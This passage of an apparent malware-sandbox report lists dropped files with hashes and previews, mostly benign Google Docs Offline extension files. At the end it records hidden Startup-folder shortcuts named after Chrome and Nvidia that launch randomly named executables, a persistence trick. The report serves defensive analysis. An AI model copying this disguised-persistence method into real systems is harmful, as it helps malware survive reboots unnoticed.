Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11406
Entropy (8bit):	5.745845607168024
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuH+svyw6r+cgTSJJT4LGkt:m8IEI4u8/EgG4
MD5:	0A68C9539A188B8BB4F9573F2F2321D6
SHA1:	E0F814FA4DCC04EDC6A5D39CBC1038979E88F0E5
SHA-256:	39E6C25D096AFD156644F07586D85E37F1F7B3DA9B636471E8D15CEB14DB184F
SHA-512:	13F133C173C6622B8E1B6F86A551CBC5B0B2446B3CF96E4AE8CA2646009B99E4A360C2DB3168CB94A488FAEBD215003DFA60D10150B7A85B5F8919900BD01CCC
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417954053901
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj17x9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/AP7xgiVb
MD5:	5E425DC36364927B1348F6C48B68C948
SHA1:	9E411B88453DEF3F7CFCB3EAA543C69AD832B82F
SHA-256:	32D9C8DE71A40D71FC61AD52AA07E809D07DF57A2F4F7855E8FC300F87FFC642
SHA-512:	C19217B9AF82C1EE1015D4DFC4234A5CE0A4E482430455ABAAFAE3F9C8AE0F7E5D2ED7727502760F1B0656F0A079CB23B132188AE425E001802738A91D8C5D79
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	122218
Entropy (8bit):	5.439997574414675
Encrypted:	false
SSDEEP:	1536:naCwKqAbNBbV9HGsR43l9S6w3xu7gXMgaG0R6RxNbF4Ki3wqP+PrQY2PEtb1B:Jfcs1XMr2zbF4Ki+PkPEfB
MD5:	67C4451398037DD1C497A1EA98227630
SHA1:	F5BB00D46BCAB5A8A02E68E4895AEB6859B74AA8
SHA-256:	59123D5A34A319791E90391FC55F0F4B8F5ABB6DB67353609DB25ACC3E99C166
SHA-512:	17F35CE2A11C26168CC52C4AE2BEC548A1AEB1B1F9CB3475B0552BDE71CFE94C5C0C4F3F51267EF7C7D9B0E01E1D1259F48968E70EE1E905471BA0C76ECA81EA
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ha=ea(this);function r(a,b){if(b)a:{var c=ha;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	130866
Entropy (8bit):	5.425065147784983
Encrypted:	false
SSDEEP:	1536:zKjBw7l0GLFqjLmqoTquyBQCGLu5fJDX5pwPGFSS2IH0dKxQ5SbNyO+DrxZlkaY8:XYQi3DX5WkfH0dKxdboDrNOdor
MD5:	1A8A1F4E5BA291867D4FA8EF94243EFA
SHA1:	B25076D2AE85BD5E4ABA935F758D5122CCB82C36
SHA-256:	441385D13C00F82ABEEDD56EC9A7B2FE90658C9AACB7824DEA47BB46440C335B
SHA-512:	F05668098B11C60D0DDC3555FCB51C3868BB07BA20597358EBA3FEED91E59F122E07ECB0BD06743461DFFF8981E3E75A53217713ABF2A78FB4F955641F63537C
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var fa=ea(this);function r(a,b){if(b)a:{var c=fa;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\~DF0D4B43607F220F80.TMP

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6688366432918307
Encrypted:	false
SSDEEP:	48:c8Sn7X3xBou3UZEA8qg5W0KGMVvXMLtenkRLXUMVe6IIcXMbqg5W0KGMVvXMLtex:c8moZAqdVv8Ao5V9IIc8bqdVv8AoIft
MD5:	059188A97705106A243B91EC7CFF8313
SHA1:	64B193424F3A7C3AED7610620ECDB4E7C3036AD3
SHA-256:	0AFC45A9C83A8AB94AD1BFE9FF6372CA8ED2AA0DD248D7E884F2DCBAE8983F08
SHA-512:	A5D4F500F027F6D6FD3C8E7E9C7FB46309EBB3450D3B276423540D91A4AF190A1044CBF6F41B707C755C7B9ED74F9BB8E3DD3663C09AF8113BA307BCDCE0D0F4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF1EF3290F5AC24957.TMP

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08196855197999947
Encrypted:	false
SSDEEP:	3:IznlL9+kolclllv/nt+lybltll1lRsltFll2/lsllxZRDK0+Fvzdl:Iphb4UFAl3+tsQbFv
MD5:	16729444C87539C2AA914D325F03CDEB
SHA1:	7E7A1A72F3DC32C1023A19FD9DF07E60C986110A
SHA-256:	EEB4F622EA9347A7ECC1F67136B1838345F71D2682B7CD796E65EE3565844940
SHA-512:	66325336A85E6703819AECDD7966B3C74EDC7378B8C9CFB4F7855B20E927333878BDB70B67D4351046F0197BDB8B3D6718E1E7908DD7F5C6A227368F8479A8E9
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF1EF6F44BCB06EB84.TMP

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08177048603164519
Encrypted:	false
SSDEEP:	3:B9hK0nlZshvb5inolclllv/nt+lybltll1lRsltFll2/lsllL0QtDr0dl:Lht+ji4UFAl3+tsBt
MD5:	BEEBE2B64D9807BF8DAE2E2015D59BD5
SHA1:	CF6C78D19BB35803013D94072F53361C05E3392C
SHA-256:	4AF3B3A30D9DFBAF0CDFB0F0B8E582B0DAE632B361F62757219063861B534CBE
SHA-512:	371C569168C326349735E602779705EFD5CA823D701181D467823ECE1ED20BB59E71DB470088F607D6035D10287D24C0CF18950993A21A8DCFA0E1E973FFEA22
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF5F7F920B6D1D39E7.TMP

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08196855197999947
Encrypted:	false
SSDEEP:	3:pJcnlvzb3ilclllv/nt+lybltll1lRsltFll2/lsllxELPdl:pKlbrGUFAl3+tspEL
MD5:	170D1467ADA6B90A2DF68001B4DF3483
SHA1:	01E4170F6BE8FD6DA7AA2C5CD0D792A697BB36D4
SHA-256:	A7C70D9B7FAEF9A98E8C9AA6A6E0C5CC892FB3073359C60AC8665B7579220878
SHA-512:	88D597FECF5821CBB5FEE74C17B92A1E04A68E6B82400923E87163F22C704997A2DEDDF3A2714914E8877D8EE92F50E36C919AAC35B5998E8525E51AB628C844
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF7B7374224409D2EF.TMP

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5739638829850164
Encrypted:	false
SSDEEP:	96:S3oZNZJqkY3oZbBoZzoZ+oZ9lZI4VrVI3UbXf6sKxRls+9IIc8bqbzcVv8ABV9IT:lP6+0CxtvZIkbXf0R2zK1vNKzK1vo
MD5:	7D5AB037E383EDB72117A6A4756BEE08
SHA1:	47EAE82F65404456EB90D153C5EDE6C8F4B532B7
SHA-256:	171DAD5962A732363F757223F2CE75E731E954F83CB08FD0C033B09B5B71CD35
SHA-512:	AA79924971F3D8ECB775093A4ED3BE1612E8EFDF4579EF27B8DFEA0B60FBCA8A5D703F6E9372211D04937025DBA1D056B0D8C002DADEF3822AF73C5312E18A50
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFCBCD01293F203FEF.TMP

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.7751470653059935
Encrypted:	false
SSDEEP:	192:JxVDsSxVsxVBAxVhxVbauzKGvyzKGvdxVwzKGvDqbuuG:CpuPKPePrqb7G
MD5:	571CC429BFDC57D219247E65672095E7
SHA1:	B18787FDEE3ED4B0CE27FE11F3E9CD05B8D8CEE5
SHA-256:	1BB29FE8F0160517DAC6C8D22892BAD9489DA510FE8EB36E9102BF309E16F88A
SHA-512:	9ED107F4AA8F8356D17B2BE3460A080C59074F8920D92A51AFD180D4D5A70451A2D5BDC3BC57FD6E030A75BF457F730B8F39E4D525CF6FABC8667FBB80F7A50C
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GoogleChrome.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Hidden, Archive, ctime=Fri Dec 27 12:42:43 2024, mtime=Fri Dec 27 12:42:43 2024, atime=Fri Dec 27 12:42:40 2024, length=1796608, window=hide
Category:	dropped
Size (bytes):	1226
Entropy (8bit):	4.929401395213413
Encrypted:	false
SSDEEP:	24:8/bNoSQRtgKZBCnK/0AafexTiq1vqyFm:8/ZqRv0nKrWkijyF
MD5:	634C68CE74D0E5C9360D3BB849ACBB71
SHA1:	FF772B785832305C27655B96D4D2C368C4EC868F
SHA-256:	4BFAB3A9910B3290FF53B5F58F74BC992AE3278964F8F68B71284E61D2F476F3
SHA-512:	2C0E0FC845C13176A5F850AF51DDCF5F219CB9A1ED89A1A760C8723990FA4E0322270CA6BF43CC6AD816F3EC77BA9B2F819981D74A1E69829923E82857E8A349
Malicious:	false
Preview:	L..................F...."...jM_4eX..,.y4eX...$.2eX...j......................,.:..DG..Yr?.D..U..k0.&...&......vk.v.....(".eX..f..4eX......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.YCm...........................%..A.p.p.D.a.t.a...B.P.1......YAm..Local.<......CW.^.YCm....b.....................(..L.o.c.a.l.....N.1......YVm..Temp..:......CW.^.YVm....l......................7..T.e.m.p.....Z.1......YVm..pAXokq4A..B......YUm.YVm............................p.A.X.o.k.q.4.A.....v.2..j...YUm".HYDFHJ~1.EXE..Z......YVm.YVm....g.....................z...h.Y.D.F.h.j.q.V.o.u.J.7.c.B.7.Z...e.x.e.......n...............-.......m...........7E.......C:\Users\user\AppData\Local\Temp\pAXokq4A\hYDFhjqVouJ7cB7Z.exe....G.o.o.g.l.e.C.h.r.o.m.e.:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.p.A.X.o.k.q.4.A.\.h.Y.D.F.h.j.q.V.o.u.J.7.c.B.7.Z...e.x.e.........\|....I.J.H..K..:...`.......X.......648351...........hT..CrF.f4... .:.T..b...,.......hT..CrF.f4... .:.T.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NvidiaDriver.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe
